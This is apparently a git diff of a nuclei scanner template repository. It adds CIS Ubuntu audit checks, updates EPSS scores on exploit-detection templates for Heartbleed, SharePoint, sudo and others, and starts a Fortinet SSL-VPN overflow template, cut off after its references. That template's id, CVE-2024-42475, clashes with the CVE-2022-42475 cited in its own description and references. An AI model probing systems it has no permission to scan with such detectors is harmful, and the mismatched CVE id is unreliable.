+| exposure  |  1107 | ritikchaddha  |   649 | workflows  |   202 | low      |   318 |      |       |
+| wp-plugin |  1032 | pussycat0x    |   532 | code       |   198 | unknown  |    56 |      |       |
+| osint     |   841 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
+| tech      |   803 | pdteam        |   310 | javascript |    71 |          |       |      |       |
+| rce       |   786 | pdresearch    |   269 | ssl        |    38 |          |       |      |       |
+| lfi       |   777 | iamnoooob     |   257 | dns        |    23 |          |       |      |       |
@@ -35,7 +35,7 @@ code:
        name: projectIds
        internal: true
        json:
-          - '.[].projectId'
+          - ".[].projectId"

  - engine:
      - sh
@@ -45,11 +45,12 @@ code:

    matchers:
      - type: word
+        part: body
        words:
-          - 'default'
+          - '"name": "default"'

    extractors:
      - type: dsl
        dsl:
          - '"The default VPC network is in use in project " + projectId'
-# digest: 4b0a00483046022100ab535503a862d00ef6624bb1eb9dcf10f41a12512e62037044333ae5d539fafc022100e5d94c98878e32663b7a4da7abe3150a742fbf9226ae4af273d4282c11353910:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100dac56d5c0cf82c13d6b7d4b2556aea94ece44bd1ee3fa9dea355cfee33296539022035233a06905e636e15a23dae37054a6eef797b37db6da1a9f716fd119562de7c:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,44 @@
+id: autofs-service
+
+info:
+  name: Ensure autofs Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The autofs package provides the automounting service, which mounts file systems automatically on demand. If not explicitly required, having this service installed increases the system’s attack surface and should be avoided.
+  remediation: |
+    - Ensure the `autofs` package is not installed unless explicitly required.
+    - To disable the service if present, run: sudo systemctl disable --now autofs 2>/dev/null || true
+    - To remove the package, run: sudo apt-get purge -y autofs
+    - To clean up dependencies, run: sudo apt-get autoremove -y
+    - To verify removal, run: dpkg-query -s autofs || echo "autofs not installed"
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s autofs &>/dev/null; then
+          echo "[autofs-service-check:Policy-Fail] [autofs is installed] [CIS_FAIL]"
+        else
+          echo "[autofs-service-check:Policy-Pass] [autofs is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,41 @@
+id: avahi-daemon
+
+info:
+  name: Ensure Avahi Daemon Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The avahi-daemon package provides mDNS/DNS-SD service discovery on local networks.In secure environments, it should only be installed when explicitly required, as it may expose unnecessary services.
+  remediation: |
+    - Ensure the `avahi-daemon` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove avahi-daemon -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s avahi-daemon &>/dev/null; then
+          echo "[avahi-daemon-check:Policy-Fail] [avahi-daemon is installed] [CIS_FAIL]"
+        else
+          echo "[avahi-daemon-check:Policy-Pass] [avahi-daemon is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,41 @@
+id: dhcp-server
+
+info:
+  name: Ensure DHCP Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The isc-dhcp-server package provides DHCP services for automatic IP address assignment.Running a DHCP server on non-designated systems may introduce security risks and unwanted network behavior.
+  remediation: |
+    - Ensure the isc-dhcp-server package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove isc-dhcp-server -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s isc-dhcp-server &>/dev/null; then
+          echo "[dhcp-server-check:Policy-Fail] [isc-dhcp-server is installed] [CIS_FAIL]"
+        else
+          echo "[dhcp-server-check:Policy-Pass] [isc-dhcp-server is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,41 @@
+id: dns-server
+
+info:
+  name: Ensure DNS Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The bind9 package provides a DNS server for name resolution services.Running a DNS server on systems not designated for that purpose may expose them to unnecessary risks.
+  remediation: |
+    - Ensure the `bind9` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove bind9 -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s bind9 &>/dev/null; then
+          echo "[dns-server-check:Policy-Fail] [bind9 is installed] [CIS_FAIL]"
+        else
+          echo "[dns-server-check:Policy-Pass] [bind9 is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,41 @@
+id: dnsmasq-service
+
+info:
+  name: Ensure dnsmasq Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The dnsmasq package provides lightweight DNS, DHCP, and TFTP services. If not explicitly required, its presence may expose unnecessary services and increase security risks.
+  remediation: |
+    - Ensure the `dnsmasq` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove dnsmasq -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s dnsmasq &>/dev/null; then
+          echo "[dnsmasq-service-check:Policy-Fail] [dnsmasq is installed] [CIS_FAIL]"
+        else
+          echo "[dnsmasq-service-check:Policy-Pass] [dnsmasq is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,43 @@
+id: ftp-client
+
+info:
+  name: Ensure FTP Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    FTP clients such as ftp and tnftp use an unencrypted protocol that exposes sensitive data during transmission.These packages should only be installed when explicitly required, as their presence increases security risk.
+  remediation: |
+    - Ensure FTP client packages are not installed unless explicitly required.
+    - To remove them, run: sudo apt-get remove ftp tnftp -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,ftp
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if ftp or tnftp packages are installed
+        if dpkg-query -W -f='${Package} ${Status}\n' ftp tnftp 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-ftp-client-check:Policy-Fail] [FTP client is installed] [CIS_FAIL]"
+        else
+          echo "[cis-ftp-client-check:Policy-Pass] [FTP client is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,41 @@
+id: ftp-server
+
+info:
+  name: Ensure FTP Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The vsftpd package provides an FTP server for file transfer services.Since FTP is unencrypted and insecure, it should only be installed when explicitly required.
+  remediation: |
+    - Ensure the `vsftpd` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove vsftpd -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s vsftpd &>/dev/null; then
+          echo "[ftp-server-check:Policy-Fail] [vsftpd is installed] [CIS_FAIL]"
+        else
+          echo "[ftp-server-check:Policy-Pass] [vsftpd is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,41 @@
+id: inactive-password-lock-default
+
+info:
+  name: Ensure Inactive Password Lock is Configured (Default Setting)
+  author: Th3l0newolf
+  severity: high
+  description: |
+    This policy ensures the default user inactivity lock is configured properly.User accounts that remain inactive for more than 45 days after password expiration should be disabled.
+  remediation: |
+    Ensure the default INACTIVE parameter is set to 45 days for new accounts.To configure, run: sudo useradd -D -f 45
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,password
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        INACTIVE_DAYS=$(useradd -D | grep -i INACTIVE | awk -F= '{print $2}')
+        if [ -z "$INACTIVE_DAYS" ] || [ "$INACTIVE_DAYS" -gt 45 ]; then
+          echo "[inactive-password-lock-default-check:Policy-Fail] [INACTIVE=$INACTIVE_DAYS (invalid)] [CIS_FAIL]"
+        else
+          echo "[inactive-password-lock-default-check:Policy-Pass] [INACTIVE=$INACTIVE_DAYS (valid)] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,43 @@
+id: ldap-client
+
+info:
+  name: Ensure LDAP Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The ldap-utils package provides LDAP client utilities that allow systems to query and interact with LDAP directories.If not explicitly required, it should be removed to minimize the system’s attack surface and reduce security risks.
+  remediation: |
+    - Ensure the ldap-utils package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove ldap-utils -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,ldap
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if the ldap-utils package is installed
+        if dpkg-query -W -f='${Status}' ldap-utils 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-ldap-client-check:Policy-Fail] [ldap-utils is installed] [CIS_FAIL]"
+        else
+          echo "[cis-ldap-client-check:Policy-Pass] [ldap-utils is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,41 @@
+id: ldap-server
+
+info:
+  name: Ensure LDAP Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The slapd package provides the OpenLDAP server, which manages directory and identity services. If not explicitly required, having this service installed unnecessarily increases the system’s attack surface.
+  remediation: |
+    - Run: sudo apt-get remove slapd -y
+    - This removes the LDAP server package to reduce the system’s attack surface.
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s slapd &>/dev/null; then
+          echo "[ldap-server-check:Policy-Fail] [slapd is installed] [CIS_FAIL]"
+        else
+          echo "[ldap-server-check:Policy-Pass] [slapd is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,42 @@
+id: message-access-server
+
+info:
+  name: Ensure Message Access Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The dovecot-imapd package provides the Dovecot IMAP server, which allows users to remotely access email stored on the system. If not explicitly required, having this service installed unnecessarily increases the system's attack surface and could expose it to potential remote exploits. To maintain a secure system, IMAP services should only be installed and enabled when there is a clear business requirement.
+  remediation: |
+    - Ensure the `slapd` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove slapd -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s dovecot-imapd &>/dev/null; then
+          echo "[message-access-server-check:Policy-Fail] [dovecot-imapd is installed] [CIS_FAIL]"
+        else
+          echo "[message-access-server-check:Policy-Pass] [dovecot-imapd is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,43 @@
+id: nis-client
+
+info:
+  name: Ensure NIS Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The nis package provides the Network Information Service client, which is insecure and deprecated.If not explicitly required, it should be removed to reduce the system’s attack surface.
+  remediation: |
+    - Ensure the nis package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove nis -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,nis
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if the nis package is installed
+        if dpkg-query -W -f='${Status}' nis 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-nis-client-check:Policy-Fail] [NIS is installed] [CIS_FAIL]"
+        else
+          echo "[cis-nis-client-check:Policy-Pass] [NIS is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,47 @@
+id: password-expiration
+
+info:
+  name: Ensure Password Expiration is Configured
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    The PASS_MAX_DAYS setting in /etc/login.defs defines how long a password may be used before it must be changed.To comply with CIS Ubuntu Linux Benchmark, this value should be set to a number greater than 0 and less than or equal to 365.
+  remediation: |
+    Edit /etc/login.defs and ensure the line is set to: PASS_MAX_DAYS 365 (or another value between 1 and 365).Verify the change with: grep -Pi -- '^\h*PASS_MAX_DAYS\h+\d+\b' /etc/login.defs
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,password
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        MAX_DAYS_LINE=$(grep -Pi -- '^\h*PASS_MAX_DAYS\h+\d+\b' /etc/login.defs | head -n1)
+        if [ -n "$MAX_DAYS_LINE" ]; then
+          VALUE=$(echo "$MAX_DAYS_LINE" | awk '{print $2}')
+          if [ "$VALUE" -gt 0 ] && [ "$VALUE" -le 365 ]; then
+            echo "[password-expiration-check:Policy-Pass] [PASS_MAX_DAYS is $VALUE (valid)] [CIS_PASS]"
+          else
+            echo "[password-expiration-check:Policy-Fail] [PASS_MAX_DAYS is $VALUE (invalid)] [CIS_FAIL]"
+          fi
+        else
+          echo "[password-expiration-check:Policy-Fail] [PASS_MAX_DAYS not set or malformed] [CIS_FAIL]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,47 @@
+id: password-min-days
+
+info:
+  name: Ensure Minimum Password Days is Configured
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    The PASS_MIN_DAYS setting in /etc/login.defs defines the minimum number of days required between password changes.This prevents users from rapidly cycling through passwords to bypass password history requirements.
+  remediation: |
+    Edit /etc/login.defs and ensure the line is set to: PASS_MIN_DAYS 1 (or another value greater than 0).Verify the change with: grep -Pi -- '^\h*PASS_MIN_DAYS\h+\d+\b' /etc/login.defs
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,password
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        MIN_DAYS_LINE=$(grep -Pi -- '^\h*PASS_MIN_DAYS\h+\d+\b' /etc/login.defs | head -n1)
+        if [ -n "$MIN_DAYS_LINE" ]; then
+          VALUE=$(echo "$MIN_DAYS_LINE" | awk '{print $2}')
+          if [ "$VALUE" -gt 0 ]; then
+            echo "[password-min-days-check:Policy-Pass] [PASS_MIN_DAYS is $VALUE (valid)] [CIS_PASS]"
+          else
+            echo "[password-min-days-check:Policy-Fail] [PASS_MIN_DAYS is $VALUE (invalid)] [CIS_FAIL]"
+          fi
+        else
+          echo "[password-min-days-check:Policy-Fail] [PASS_MIN_DAYS not set or malformed] [CIS_FAIL]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,47 @@
+id: password-warn-age
+
+info:
+  name: Ensure Password Expiration Warning Days is Configured
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    The PASS_WARN_AGE setting in /etc/login.defs defines the number of days before password expiration that users are warned.To comply with CIS Ubuntu Linux Benchmark, this value should be set to 7 to provide sufficient notice for users to change passwords.
+  remediation: |
+    Edit /etc/login.defs and ensure the line is set to: PASS_WARN_AGE 7.Verify the change with: grep -Pi -- '^\h*PASS_WARN_AGE\h+\d+\b' /etc/login.defs
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,password
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        WARN_AGE_LINE=$(grep -Pi -- '^\h*PASS_WARN_AGE\h+\d+\b' /etc/login.defs | head -n1)
+        if [ -n "$WARN_AGE_LINE" ]; then
+          VALUE=$(echo "$WARN_AGE_LINE" | awk '{print $2}')
+          if [ "$VALUE" -eq 7 ]; then
+            echo "[password-warn-age-check:Policy-Pass] [PASS_WARN_AGE is $VALUE (valid)] [CIS_PASS]"
+          else
+            echo "[password-warn-age-check:Policy-Fail] [PASS_WARN_AGE is $VALUE (invalid)] [CIS_FAIL]"
+          fi
+        else
+          echo "[password-warn-age-check:Policy-Fail] [PASS_WARN_AGE not set or malformed] [CIS_FAIL]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,42 @@
+id: ssh-rsh-client
+
+info:
+  name: Ensure rsh Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The rsh-client package provides the Remote Shell client, which transmits data in plaintext and is considered insecure.If not explicitly required, it should be removed to reduce exposure to unauthorized remote access.
+  remediation: |
+    Ensure the rsh-client package is not installed unless explicitly required.To remove the package, run: sudo apt-get remove rsh-client -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,rsh
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if the rsh-client package is installed
+        if dpkg-query -W -f='${Status}' rsh-client 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-rsh-client-check:Policy-Fail] [rsh-client is installed] [CIS_FAIL]"
+        else
+          echo "[cis-rsh-client-check:Policy-Pass] [rsh-client is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,47 @@
+id: strong-password-hashing
+
+info:
+  name: Ensure Strong Password Hashing Algorithm is Configured
+  author: Th3l0newolf
+  severity: high
+  description: |
+    The ENCRYPT_METHOD setting in /etc/login.defs specifies the algorithm used to hash passwords.It should be set to SHA512 or yescrypt, as weaker algorithms may expose passwords to brute-force attacks.
+  remediation: |
+    Edit /etc/login.defs and set ENCRYPT_METHOD to either SHA512 or yescrypt.Verify with: grep -Pi -- '^\h*ENCRYPT_METHOD\h+(SHA512|yescrypt)\b' /etc/login.defs
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,password
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        HASH_METHOD_LINE=$(grep -Pi -- '^\h*ENCRYPT_METHOD\h+(SHA512|yescrypt)\b' /etc/login.defs | head -n1)
+        if [ -n "$HASH_METHOD_LINE" ]; then
+          VALUE=$(echo "$HASH_METHOD_LINE" | awk '{print $2}' | tr '[:upper:]' '[:lower:]')
+          if [ "$VALUE" = "sha512" ] || [ "$VALUE" = "yescrypt" ]; then
+            echo "[strong-password-hashing-check:Policy-Pass] [ENCRYPT_METHOD is $VALUE (valid)] [CIS_PASS]"
+          else
+            echo "[strong-password-hashing-check:Policy-Fail] [ENCRYPT_METHOD is $VALUE (invalid)] [CIS_FAIL]"
+          fi
+        else
+          echo "[strong-password-hashing-check:Policy-Fail] [ENCRYPT_METHOD not set or malformed] [CIS_FAIL]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,42 @@
+id: talk-client
+
+info:
+  name: Ensure Talk Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The talk package provides a client for user-to-user messaging on local or remote systems.Since it uses unencrypted communication, it should be removed to minimize security risks.
+  remediation: |
+    Ensure the talk package is not installed unless explicitly required.To remove the package, run: sudo apt-get remove talk -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,talk
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if the talk package is installed
+        if dpkg-query -W -f='${Status}' talk 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-talk-client-check:Policy-Fail] [talk is installed] [CIS_FAIL]"
+        else
+          echo "[cis-talk-client-check:Policy-Pass] [talk is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,42 @@
+id: telnet-client
+
+info:
+  name: Ensure Telnet Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The telnet and inetutils-telnet packages provide a Telnet client for remote access.Since Telnet uses unencrypted communication, these packages should not be installed to reduce the risk of credential theft and unauthorized access.
+  remediation: |
+    Ensure telnet and inetutils-telnet packages are not installed unless explicitly required.To remove them, run: sudo apt-get remove telnet inetutils-telnet -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,telnet
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if telnet or inetutils-telnet package is installed
+        if dpkg-query -W -f='${Package} ${Status}\n' telnet inetutils-telnet 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-telnet-client-check:Policy-Fail] [Telnet client is installed] [CIS_FAIL]"
+        else
+          echo "[cis-telnet-client-check:Policy-Pass] [Telnet client is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -10,6 +10,8 @@ info:
    - https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2014-0160
  metadata:
    verified: true
+  classification:
+    epss-score: 0.94462
  tags: cve,cve2014,openssl,heartbleed,code,kev

 variables:
@@ -135,4 +137,4 @@ code:
      - type: dsl
        dsl:
          - "contains(response,'server is vulnerable')"
-# digest: 4b0a00483046022100ed75e4d98947fd01fbc7873eeb6436b559a749bb88a5a85f71fef8c2f83f9e48022100cb170dc3f8592781394acbba1560953c29e7b0b1d36c191aee134aa6d178aa74:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022072146a555c1e39921511dd324015ad2f19b58bef855a158d53f18bad4a3068f70221008aea99f59b94f83393eb50e906fb55a005e15f80d20d8502d4a6bbdeea861d8a:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,7 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2019-0604
    cwe-id: CWE-20
-    epss-score: 0.94411
+    epss-score: 0.94436
    epss-percentile: 0.99974
  metadata:
    verified: true
@@ -154,4 +154,4 @@ code:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(interactsh_request, hex_encode(marker))'
        condition: and
-# digest: 4a0a00473045022022019f9c11593b4c5a1f55755d532f6a64858d80153beb783f2c2d61684e0439022100fd41aa3e2ae1ad5d411c2c569383a2498ebf4a48cb1a9cf01f89748879c446c7:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b4400e86f6a613a3fec15c78d78b5eaa02c765fc3cd2a0fedae2a3caf6a640f602206838f019d39312a9e53fa6c5595b7ed095cef565d8599f8a9e20273c38886bbe:922c64590222798bb761d5b6d8e72950
@@ -15,7 +15,7 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2020-0646
    cwe-id: CWE-91
-    epss-score: 0.92775
+    epss-score: 0.93121
    epss-percentile: 0.99755
    cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
  metadata:
@@ -102,4 +102,4 @@ code:
          - 'contains(content_type, "text/xml")'
          - 'status_code == 200'
        condition: and
-# digest: 4a0a00473045022100a9c7370f5d64f484afc46075695941e15917d5a0687dd077ae6699501475bc1c02207a3961cc5b43a81ff13243b2dbb044a37081cf76fead5b7be2c772e481685c5c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cb487f0bd652d387ee37c93aeff51bc10e1ee1685ed827748844380e2a1d224802202681a6f09065aa05fe76062fb4b71a801d269cccb60e095d1a1b782981fdff69:922c64590222798bb761d5b6d8e72950
@@ -10,7 +10,7 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2020-13935
-    epss-score: 0.91885
+    epss-score: 0.92195
    epss-percentile: 0.99681
  reference:
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
@@ -17,7 +17,7 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2021-3156
    cwe-id: CWE-193
-    epss-score: 0.92019
+    epss-score: 0.92263
    epss-percentile: 0.99693
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
@@ -40,4 +40,4 @@ code:
          - "malloc(): memory corruption"
          - "Aborted (core dumped)"
        condition: and
-# digest: 4a0a0047304502203288bc289d0cc0f4e06e605006f21fa1933c3a8a43067f2e9217000a34b340ae022100eb4c9a1fad050dd80783cfcff25e73bc958d1ad84a2f6f09fcbf1c0deebe680c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220156c4b47288c1bd2c345a71670734fd19e48ad7b8e807cf94a55943b470236ae022100b0a5f9dbc02cd24f1b8c73147526a7ad7d50553730b0ecb9325cca9c7b327c6d:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,177 @@
+id: CVE-2024-42475
+
+info:
+  name: Fortinet SSL-VPN - Heap-Based Buffer Overflow
+  author: 0xhaggis,pszyszkowski
+  severity: critical
+  description: |
+    A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
+  remediation: |
+    Fixed in:
+    FortiOS >= 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16
+    FortiOS-6K7K >= 7.0.8, 6.4.10, 6.2.12, 6.0.15
+    FortiProxy >= 7.2.2, 7.0.8, 2.0.12
+  reference:
+    - https://github.com/0xhaggis/CVE-2022-42475
+    - https://fortiguard.com/psirt/FG-IR-22-398
+    - https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/
